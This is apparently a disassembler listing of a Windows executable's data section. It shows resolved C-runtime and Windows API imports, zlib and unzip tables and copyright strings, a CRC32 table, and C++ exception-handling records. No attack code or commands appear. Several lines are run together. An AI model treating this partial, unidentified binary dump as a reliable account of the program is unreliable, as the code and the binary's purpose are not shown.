dword_4331DC	dd 77C227FAh	; resolved to->MSVCRT.__CxxFrameHandlerdword_4331E0	dd 77C226F6h	; resolved to->MSVCRT._CxxThrowExceptiondword_4331E4	dd 77C3F931h	; resolved to->MSVCRT.sprintf					; sub_422A1E+108r ...
dword_4331E8	dd 77C47FCCh	; resolved to->MSVCRT.wcslendword_4331EC	dd 77C31881h	; resolved to->MSVCRT._mbscmp					; sub_425B2E+D7r ...
dword_4331F0	dd 77C4139Ch	; resolved to->MSVCRT.fseek					; sub_4224B5+44r
dword_4331F4	dd 77C1CAD7h	; resolved to->MSVCRT.toupper					; sub_42239F+6Dr ...
dword_4331F8	dd 77C478A0h	; resolved to->MSVCRT.strlendword_4331FC	dd 77C46030h	; resolved to->MSVCRT.strcpydword_433200	dd 77C31FBDh	; resolved to->MSVCRT._mbsnbcpydword_433204	dd 77C475F0h	; resolved to->MSVCRT.memsetdword_433208	dd 77C2C0C3h	; resolved to->MSVCRT.callocdword_43320C	dd 77C47730h	; resolved to->MSVCRT.strcmpdword_433210	dd 77C4AA2Dh	; resolved to->MSVCRT.gmtimedword_433214	dd 77C32BB0h	; resolved to->MSVCRT._mbsstrdword_433218	dd 77C21868h	dword_43321C	dd 77C34E51h	; resolved to->MSVCRT.__dllonexitdword_433220	dd 77C34DF8h	; resolved to->MSVCRT._onexitdword_433224	dd 77C39E9Ah	; resolved to->MSVCRT._exitdword_433228	dd 77C32DAEh	; resolved to->MSVCRT._XcptFilterdword_43322C	dd 77C39E7Eh	; resolved to->MSVCRT.exitdword_433230	dd 77C1EEEBh	; resolved to->MSVCRT.__getmainargsdword_433234	dd 77C617ACh	; resolved to->MSVCRT._acmdlndword_433238	dd 77C39D67h	; resolved to->MSVCRT._inittermdword_43323C	dd 77C4D675h	; resolved to->MSVCRT.__setusermatherrdword_433240	dd 77C623D8h	; resolved to->MSVCRT._adjust_fdivdword_433244	dd 77C1F1A4h	; resolved to->MSVCRT.__p__commodedword_433248	dd 77C1F1DBh	; resolved to->MSVCRT.__p__fmodedword_43324C	dd 77C3537Ch	; resolved to->MSVCRT.__set_app_typedword_433250	dd 77C35C94h	; resolved to->MSVCRT._except_handler3dword_433254	dd 77C411FBh	; resolved to->MSVCRT.freaddword_433258	dd 77C4EE2Fh	; resolved to->MSVCRT._controlfp		align 10h
dword_433260	dd 77126BFFh	dword_433264	dd 77124920h						; sub_429C40+Br ...
dword_433268	dd 77124980h	dword_43326C	dd 77124CFAh	dword_433270	dd 77124C98h	dword_433274	dd 77124880h						; sub_42852F+720r ...
dword_433278	dd 77124C7Eh						; sub_429A50+17r
dword_43327C	dd 7712A63Fh	dword_433280	dd 77124C05h			align 8
dword_433288	dd 7CA70964h	; resolved to->SHELL32.SHFileOperationA					; sub_421C92+BBr ...
		align 10h
dword_433290	dd 7E41C66Eh	; resolved to->USER32.CopyRectdword_433294	dd 7E41C4A9h	; resolved to->USER32.EqualRectdword_433298	dd 7E41A8ADh	; resolved to->USER32.wsprintfA					; sub_424B41+2C8r ...
dword_43329C	dd 7E418D2Bh	; resolved to->USER32.CharUpperA		dd 0
dword_4332A4	dd 774FEE36h	dword_4332A8	dd 775561BAh	dword_4332AC	dd 774FFAC3h						; sub_429EB0+93r
dword_4332B0	dd 77502A37h						; sub_42948F+E5r
		align 8
byte_4332B8	db 90h			; DATA XREF: sub_42852F+783o
		db 0BFh, 33h, 29h
		dd 11D27B36h, 0C0000EB2h, 603E984Fh
off_4332C8	dd offset sub_4219B0	; DATA XREF: sub_421000+14o
					; sub_421021+Ao
off_4332CC	dd offset sub_4229F0	; DATA XREF: sub_4226B0+Ao
					; sub_4226C7+Ao ...
off_4332D0	dd offset aNeedDictiona_0 ; DATA XREF: TEUm:0042DC2Cr
					; "need	dictionary"
		dd offset aStreamEnd	; "stream end"
		dd offset dword_43BD48
		dd offset aFileError	; "file	error"
		dd offset aStreamError	; "stream error"
		dd offset aDataError	; "data	error"
		dd offset aInsufficientMe ; "insufficient memory"
		dd offset aBufferError	; "buffer error"
		dd offset aIncompatibleVe ; "incompatible version"
		dd offset dword_43BD4C
dword_4332F8	dd 0							; sub_42A2DE+464r ...
		dd 1, 3, 7, 0Fh, 1Fh, 3Fh, 7Fh,	0FFh, 1FFh, 3FFh, 7FFh
		dd 0FFFh, 1FFFh, 3FFFh,	7FFFh, 0FFFFh, 0
dword_433340	dd 760h, 100h, 800h, 50h, 800h,	10h, 854h, 73h,	752h, 1Fh
					; DATA XREF: sub_42D0BB+18o
		dd 800h, 70h, 800h, 30h, 900h, 0C0h, 750h, 0Ah,	800h, 60h
		dd 800h, 20h, 900h, 0A0h, 800h,	0
		dd 800h, 80h, 800h, 40h, 900h, 0E0h, 750h, 6, 800h, 58h
		dd 800h, 18h, 900h, 90h, 753h, 3Bh, 800h, 78h, 800h, 38h
		dd 900h, 0D0h, 751h, 11h, 800h,	68h, 800h, 28h,	900h, 0B0h
		dd 800h, 8, 800h, 88h, 800h, 48h, 900h,	0F0h, 750h, 4
		dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh,	800h, 74h
		dd 800h, 34h, 900h, 0C8h, 751h,	0Dh, 800h, 64h,	800h, 24h
		dd 900h, 0A8h, 800h, 4,	800h, 84h, 800h, 44h, 900h, 0E8h
		dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h,	98h, 754h, 53h
		dd 800h, 7Ch, 800h, 3Ch, 900h, 0D8h, 752h, 17h,	800h, 6Ch
		dd 800h, 2Ch, 900h, 0B8h, 800h,	0Ch, 800h, 8Ch,	800h, 4Ch
		dd 900h, 0F8h, 750h, 3,	800h, 52h, 800h, 12h, 855h, 0A3h
		dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C4h,	751h, 0Bh
		dd 800h, 62h, 800h, 22h, 900h, 0A4h, 800h, 2, 800h, 82h
		dd 800h, 42h, 900h, 0E4h, 750h,	7, 800h, 5Ah, 800h, 1Ah
		dd 900h, 94h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D4h
		dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B4h,	800h, 0Ah
		dd 800h, 8Ah, 800h, 4Ah, 900h, 0F4h, 750h, 5, 800h, 56h
		dd 800h, 16h, 8C0h, 0
		dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CCh,	751h, 0Fh
		dd 800h, 66h, 800h, 26h, 900h, 0ACh, 800h, 6, 800h, 86h
		dd 800h, 46h, 900h, 0ECh, 750h,	9, 800h, 5Eh, 800h, 1Eh
		dd 900h, 9Ch, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DCh
		dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BCh,	800h, 0Eh
		dd 800h, 8Eh, 800h, 4Eh, 900h, 0FCh, 760h, 100h, 800h
		dd 51h,	800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h
		dd 31h,	900h, 0C2h, 750h, 0Ah, 800h, 61h, 800h,	21h, 900h
		dd 0A2h, 800h, 1, 800h,	81h, 800h, 41h,	900h, 0E2h, 750h
		dd 6, 800h, 59h, 800h, 19h, 900h, 92h, 753h, 3Bh, 800h
		dd 79h,	800h, 39h, 900h, 0D2h, 751h, 11h, 800h,	69h, 800h
		dd 29h,	900h, 0B2h, 800h, 9, 800h, 89h,	800h, 49h, 900h
		dd 0F2h, 750h, 4, 800h,	55h, 800h, 15h,	850h, 102h, 753h
		dd 2Bh,	800h, 75h, 800h, 35h, 900h, 0CAh, 751h,	0Dh, 800h
		dd 65h,	800h, 25h, 900h, 0AAh, 800h, 5,	800h, 85h, 800h
		dd 45h,	900h, 0EAh, 750h, 8, 800h, 5Dh,	800h, 1Dh, 900h
		dd 9Ah,	754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DAh, 752h
		dd 17h,	800h, 6Dh, 800h, 2Dh, 900h, 0BAh, 800h,	0Dh, 800h
		dd 8Dh,	800h, 4Dh, 900h, 0FAh, 750h, 3,	800h, 53h, 800h
		dd 13h,	855h, 0C3h, 753h, 23h, 800h, 73h, 800h,	33h, 900h
		dd 0C6h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h,	0A6h, 800h
		dd 3, 800h, 83h, 800h, 43h, 900h, 0E6h,	750h, 7, 800h
		dd 5Bh,	800h, 1Bh, 900h, 96h, 754h, 43h, 800h, 7Bh, 800h
		dd 3Bh,	900h, 0D6h, 752h, 13h, 800h, 6Bh, 800h,	2Bh, 900h
		dd 0B6h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h,	0F6h, 750h
		dd 5, 800h, 57h, 800h, 17h, 8C0h, 0
		dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CEh,	751h, 0Fh
		dd 800h, 67h, 800h, 27h, 900h, 0AEh, 800h, 7, 800h, 87h
		dd 800h, 47h, 900h, 0EEh, 750h,	9, 800h, 5Fh, 800h, 1Fh
		dd 900h, 9Eh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DEh
		dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BEh,	800h, 0Fh
		dd 800h, 8Fh, 800h, 4Fh, 900h, 0FEh, 760h, 100h, 800h
		dd 50h,	800h, 10h, 854h, 73h, 752h, 1Fh, 800h, 70h, 800h
		dd 30h,	900h, 0C1h, 750h, 0Ah, 800h, 60h, 800h,	20h, 900h
		dd 0A1h, 800h, 0
		dd 800h, 80h, 800h, 40h, 900h, 0E1h, 750h, 6, 800h, 58h
		dd 800h, 18h, 900h, 91h, 753h, 3Bh, 800h, 78h, 800h, 38h
		dd 900h, 0D1h, 751h, 11h, 800h,	68h, 800h, 28h,	900h, 0B1h
		dd 800h, 8, 800h, 88h, 800h, 48h, 900h,	0F1h, 750h, 4
		dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh,	800h, 74h
		dd 800h, 34h, 900h, 0C9h, 751h,	0Dh, 800h, 64h,	800h, 24h
		dd 900h, 0A9h, 800h, 4,	800h, 84h, 800h, 44h, 900h, 0E9h
		dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h,	99h, 754h, 53h
		dd 800h, 7Ch, 800h, 3Ch, 900h, 0D9h, 752h, 17h,	800h, 6Ch
		dd 800h, 2Ch, 900h, 0B9h, 800h,	0Ch, 800h, 8Ch,	800h, 4Ch
		dd 900h, 0F9h, 750h, 3,	800h, 52h, 800h, 12h, 855h, 0A3h
		dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C5h,	751h, 0Bh
		dd 800h, 62h, 800h, 22h, 900h, 0A5h, 800h, 2, 800h, 82h
		dd 800h, 42h, 900h, 0E5h, 750h,	7, 800h, 5Ah, 800h, 1Ah
		dd 900h, 95h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D5h
		dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B5h,	800h, 0Ah
		dd 800h, 8Ah, 800h, 4Ah, 900h, 0F5h, 750h, 5, 800h, 56h
		dd 800h, 16h, 8C0h, 0
		dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CDh,	751h, 0Fh
		dd 800h, 66h, 800h, 26h, 900h, 0ADh, 800h, 6, 800h, 86h
		dd 800h, 46h, 900h, 0EDh, 750h,	9, 800h, 5Eh, 800h, 1Eh
		dd 900h, 9Dh, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DDh
		dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BDh,	800h, 0Eh
		dd 800h, 8Eh, 800h, 4Eh, 900h, 0FDh, 760h, 100h, 800h
		dd 51h,	800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h
		dd 31h,	900h, 0C3h, 750h, 0Ah, 800h, 61h, 800h,	21h, 900h
		dd 0A3h, 800h, 1, 800h,	81h, 800h, 41h,	900h, 0E3h, 750h
		dd 6, 800h, 59h, 800h, 19h, 900h, 93h, 753h, 3Bh, 800h
		dd 79h,	800h, 39h, 900h, 0D3h, 751h, 11h, 800h,	69h, 800h
		dd 29h,	900h, 0B3h, 800h, 9, 800h, 89h,	800h, 49h, 900h
		dd 0F3h, 750h, 4, 800h,	55h, 800h, 15h,	850h, 102h, 753h
		dd 2Bh,	800h, 75h, 800h, 35h, 900h, 0CBh, 751h,	0Dh, 800h
		dd 65h,	800h, 25h, 900h, 0ABh, 800h, 5,	800h, 85h, 800h
		dd 45h,	900h, 0EBh, 750h, 8, 800h, 5Dh,	800h, 1Dh, 900h
		dd 9Bh,	754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DBh, 752h
		dd 17h,	800h, 6Dh, 800h, 2Dh, 900h, 0BBh, 800h,	0Dh, 800h
		dd 8Dh,	800h, 4Dh, 900h, 0FBh, 750h, 3,	800h, 53h, 800h
		dd 13h,	855h, 0C3h, 753h, 23h, 800h, 73h, 800h,	33h, 900h
		dd 0C7h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h,	0A7h, 800h
		dd 3, 800h, 83h, 800h, 43h, 900h, 0E7h,	750h, 7, 800h
		dd 5Bh,	800h, 1Bh, 900h, 97h, 754h, 43h, 800h, 7Bh, 800h
		dd 3Bh,	900h, 0D7h, 752h, 13h, 800h, 6Bh, 800h,	2Bh, 900h
		dd 0B7h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h,	0F7h, 750h
		dd 5, 800h, 57h, 800h, 17h, 8C0h, 0
		dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CFh,	751h, 0Fh
		dd 800h, 67h, 800h, 27h, 900h, 0AFh, 800h, 7, 800h, 87h
		dd 800h, 47h, 900h, 0EFh, 750h,	9, 800h, 5Fh, 800h, 1Fh
		dd 900h, 9Fh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DFh
		dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BFh,	800h, 0Fh
		dd 800h, 8Fh, 800h, 4Fh, 900h, 0FFh
dword_434340	dd 550h, 1, 557h, 101h,	553h, 11h, 55Bh, 1001h,	551h, 5
					; DATA XREF: sub_42D0BB+21o
		dd 559h, 401h, 555h, 41h, 55Dh,	4001h, 550h, 3,	558h, 201h
		dd 554h, 21h, 55Ch, 2001h, 552h, 9, 55Ah, 801h,	556h, 81h
		dd 5C0h, 6001h,	550h, 2, 557h, 181h, 553h, 19h,	55Bh, 1801h
		dd 551h, 7, 559h, 601h,	555h, 61h, 55Dh, 6001h,	550h, 4
		dd 558h, 301h, 554h, 31h, 55Ch,	3001h, 552h, 0Dh, 55Ah
		dd 0C01h, 556h,	0C1h, 5C0h, 6001h
dword_434440	dd 10h							; sub_42B1FD+A13r
		dd 11h,	12h, 0
		dd 8, 7, 9, 6, 0Ah, 5, 0Bh, 4, 0Ch, 3, 0Dh, 2, 0Eh, 1
		dd 0Fh
aInflate1_1_3Co	db ' inflate 1.1.3 Copyright 1995-1998 Mark Adler ',0
		align 4
dword_4344BC	dd 3, 4, 5, 6, 7, 8, 9,	0Ah, 0Bh, 0Dh, 0Fh, 11h, 13h, 17h
					; DATA XREF: sub_42CF36+50o
		dd 1Bh,	1Fh, 23h, 2Bh, 33h, 3Bh, 43h, 53h, 63h,	73h, 83h
		dd 0A3h, 0C3h, 0E3h, 102h, 2 dup(0)
dword_434538	dd 8 dup(0)			dd 4 dup(1), 4 dup(2), 4 dup(3), 4 dup(4), 4 dup(5), 0
		dd 2 dup(70h)
dword_4345B4	dd 1, 2, 3, 4, 5, 7, 9,	0Dh, 11h, 19h, 21h, 31h, 41h, 61h
					; DATA XREF: sub_42CF36+D9o
		dd 81h,	0C1h, 101h, 181h, 201h,	301h, 401h, 601h, 801h
		dd 0C01h, 1001h, 1801h,	2001h, 3001h, 4001h, 6001h
dword_43462C	dd 4 dup(0)			dd 2 dup(1), 2 dup(2), 2 dup(3), 2 dup(4), 2 dup(5), 2 dup(6)
		dd 2 dup(7), 2 dup(8), 2 dup(9), 2 dup(0Ah), 2 dup(0Bh)
		dd 2 dup(0Ch), 2 dup(0Dh)
dword_4346A4	dd 0							; sub_42D7C5+3Ar ...
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
byte_434AA4	db 20h			; DATA XREF: sub_42ED22:loc_42ED3Ar
aUnzip0_15Copyr	db 'unzip 0.15 Copyright 1998 Gilles Vollant ',0
		align 10h
		dd offset dword_434B20
off_434AD4	dd offset sub_43182F	; DATA XREF: TEUm:00437020o
					; TEUm:off_437030o ...
dword_434AD8	dd 0FFFFFFFFh, 431A58h,	431A6Ch, 434B68hoff_434AE8	dd offset sub_429CC0	; DATA XREF: sub_429C60+26o
					; sub_429CF0+Ao ...
		align 10h
off_434AF0	dd offset off_437C20	; DATA XREF: TEUm:00434B08o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_434AF0
dword_434B0C	dd 3 dup(0)			dd 1, 434B08h
dword_434B20	dd 3 dup(0)			dd offset off_437C20
		dd offset dword_434B0C+4
		align 8
off_434B38	dd offset off_437C58	; DATA XREF: TEUm:00434B50o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_434B38
		dd 0
		db    0			; DATA XREF: TEUm:00434B78o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 434B50h, 3 dup(0)
		dd offset off_437C58
		dd offset unk_434B58
		align 10h
dword_434B80	dd 19930520h, 2, 434BA0h, 1, 434BB0h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 434BC8h, 4	dup(0)
		dd offset loc_42119D
dword_434BD8	dd 19930520h, 2, 434BF8h, 1, 434C08h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 434C20h, 4	dup(0)
		dd offset loc_421245
dword_434C30	dd 19930520h, 3, 434C50h, 1, 434C68h, 3	dup(0)		dd 0FFFFFFFFh, 431D14h,	4 dup(0)
		dd 2 dup(1), 2,	1, 434C80h, 4 dup(0)
		dd offset loc_421402
dword_434C90	dd 19930520h, 2, 434CB0h, 1, 434CC0h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 434CD8h, 4	dup(0)
		dd offset loc_4215A1
dword_434CE8	dd 19930520h, 2, 434D08h, 1, 434D18h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 434D30h, 4	dup(0)
		dd offset loc_4217D7
dword_434D40	dd 19930520h, 2, 434D60h, 1, 434D70h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 434D88h, 4	dup(0)
		dd offset loc_421966
		dd 1, 437020h, 0
		dd 0FFFFFFFFh, 0
		dd 4, 2	dup(0)
dword_434DB8	dd 1, 434D98h	dword_434DC0	dd 3 dup(0)						; TEUm:004212E6o ...
		dd offset dword_434DB8
dword_434DD0	dd 19930520h, 2, 434DF0h, 1, 434E00h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 434E18h, 2	dup(0)
		dd offset off_437030
		dd 0FFFFFEC0h, 421D58h
dword_434E28	dd 19930520h, 4, 434E48h, 5 dup(0)		dd 0FFFFFFFFh, 431D75h,	0
		dd offset sub_431D5A
		dd 1, 431D63h, 2, 431D6Ch
dword_434E68	dd 19930520h, 0Bh, 434E88h, 5 dup(0)		dd 0FFFFFFFFh, 431D98h,	0
		dd offset loc_431DA0
		dd 1, 431DABh, 2, 431DB6h, 3, 431DC1h, 4, 431DCCh, 5, 431DD7h
		dd 6, 431DE2h, 7, 431DEDh, 8, 431DFBh, 9, 431E03h
dword_434EE0	dd 19930520h, 8, 434F00h, 5 dup(0)		dd 0FFFFFFFFh, 431E18h,	0
		dd offset loc_431E20
		dd 1, 431E2Bh, 2, 431E36h, 3, 431E41h, 4, 431E4Ch, 5, 431E57h
		dd 6, 431E62h
dword_434F40	dd 19930520h, 2, 434F60h, 1, 434F70h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 434F88h, 4	dup(0)
		dd offset loc_422F06
dword_434F98	dd 19930520h, 3, 434FB8h, 5 dup(0)		dd 0FFFFFFFFh, 431E94h,	0
		dd offset loc_431E84
		dd 1, 431E8Ch
dword_434FD0	dd 19930520h, 4, 434FF0h, 5 dup(0)		dd 0FFFFFFFFh, 431ED0h,	0
		dd offset loc_431EB8
		dd 1, 431EC0h, 2, 431EC8h
dword_435010	dd 19930520h, 20h, 435030h, 5 dup(0)		dd 0FFFFFFFFh, 431EF4h,	0
		dd offset loc_431EFC
		dd 1, 431F04h, 1, 431F0Fh, 1, 431F1Ah, 1, 431F25h, 1, 431F30h
		dd 1, 431F38h, 1, 431F43h, 1, 431F4Bh, 1, 431F56h, 1, 431F61h
		dd 1, 431F69h, 1, 431F74h, 1, 431F7Ch, 0Eh, 431F84h, 0Fh
		dd 431F8Ch, 0Fh, 431F97h, 0Fh, 431FA2h,	0Fh, 431FADh, 0Fh
		dd 431FB8h, 0Fh, 431FC3h, 0Fh, 431FCEh,	0Fh, 431FD9h, 0Fh
		dd 431FE4h, 0Fh, 431FECh, 0Fh, 431FF4h,	0Fh, 431FFCh, 0Fh
		dd 432004h, 0Fh, 43200Ch, 0Fh, 432017h,	0Fh, 432022h
dword_435130	dd 19930520h, 1, 435150h, 5 dup(0)		dd 0FFFFFFFFh, 432038h
dword_435158	dd 19930520h, 1, 435178h, 5 dup(0)		dd 0FFFFFFFFh, 43204Ch
dword_435180	dd 19930520h, 4, 4351A0h, 5 dup(0)		dd 0FFFFFFFFh, 432060h,	0
		dd offset loc_432068
		dd 1, 432070h, 1, 432078h
dword_4351C0	dd 19930520h, 0Eh, 4351E0h, 5 dup(0)		dd 0FFFFFFFFh, 43208Ch,	0
		dd offset loc_432094
		dd 0FFFFFFFFh, 43209Ch,	2, 4320A4h, 3, 4320ACh,	3, 4320B4h
		dd 3, 4320BCh, 3, 4320C4h, 7, 4320CCh, 8, 4320D4h, 7, 4320DCh
		dd 7, 4320E4h, 7, 4320EFh, 7, 4320F7h
dword_435250	dd 19930520h, 2, 435270h, 5 dup(0)		dd 0FFFFFFFFh, 43210Ch,	0
		dd offset loc_432114
dword_435280	dd 19930520h, 0Bh, 4352A0h, 5 dup(0)		dd 0FFFFFFFFh, 432128h,	0
		dd offset loc_432130
		dd 1, 432138h, 2, 432140h, 3, 43214Bh, 3, 432153h, 3, 43215Bh
		dd 6, 432166h, 6, 43216Eh, 6, 432176h, 9, 432181h
dword_4352F8	dd 19930520h, 0Ah, 435318h, 5 dup(0)		dd 0FFFFFFFFh, 432194h,	0
		dd offset loc_43219C
		dd 1, 4321A4h, 2, 4321ACh, 2, 4321B4h, 4, 4321BCh, 5, 4321C4h
		dd 6, 4321CCh, 6, 4321D4h, 8, 4321DCh
dword_435368	dd 19930520h, 6, 435388h, 5 dup(0)		dd 0FFFFFFFFh, 432218h,	0
		dd offset loc_4321F0
		dd 1, 4321F8h, 1, 432200h, 3, 432208h, 4, 432210h
dword_4353B8	dd 19930520h, 2, 4353D8h, 5 dup(0)		dd 0FFFFFFFFh, 43223Ch,	0
		dd offset loc_432244
dword_4353E8	dd 19930520h, 6, 435408h, 5 dup(0)		dd 0FFFFFFFFh, 432280h,	0
		dd offset loc_432258
		dd 1, 432260h, 1, 432268h, 3, 432270h, 4, 432278h
dword_435438	dd 19930520h, 6, 435458h, 5 dup(0)		dd 0FFFFFFFFh, 4322CCh,	0
		dd offset loc_4322A4
		dd 1, 4322ACh, 1, 4322B4h, 3, 4322BCh, 4, 4322C4h
dword_435488	dd 19930520h, 8, 4354A8h, 5 dup(0)		dd 0FFFFFFFFh, 4322F0h,	0
		dd offset loc_4322F8
		dd 1, 432300h, 1, 432308h, 3, 432310h, 4, 432318h, 4, 432320h
		dd 6, 432328h
dword_4354E8	dd 19930520h, 6, 435508h, 5 dup(0)		dd 0FFFFFFFFh, 43233Ch,	0
		dd offset loc_432344
		dd 1, 43234Ch, 1, 432354h, 3, 43235Ch, 4, 432364h
dword_435538	dd 19930520h, 6, 435558h, 5 dup(0)		dd 0FFFFFFFFh, 4323A0h,	0
		dd offset loc_432378
		dd 1, 432380h, 1, 432388h, 3, 432390h, 4, 432398h
dword_435588	dd 19930520h, 3, 4355A8h, 5 dup(0)		dd 0FFFFFFFFh, 4323C4h,	0
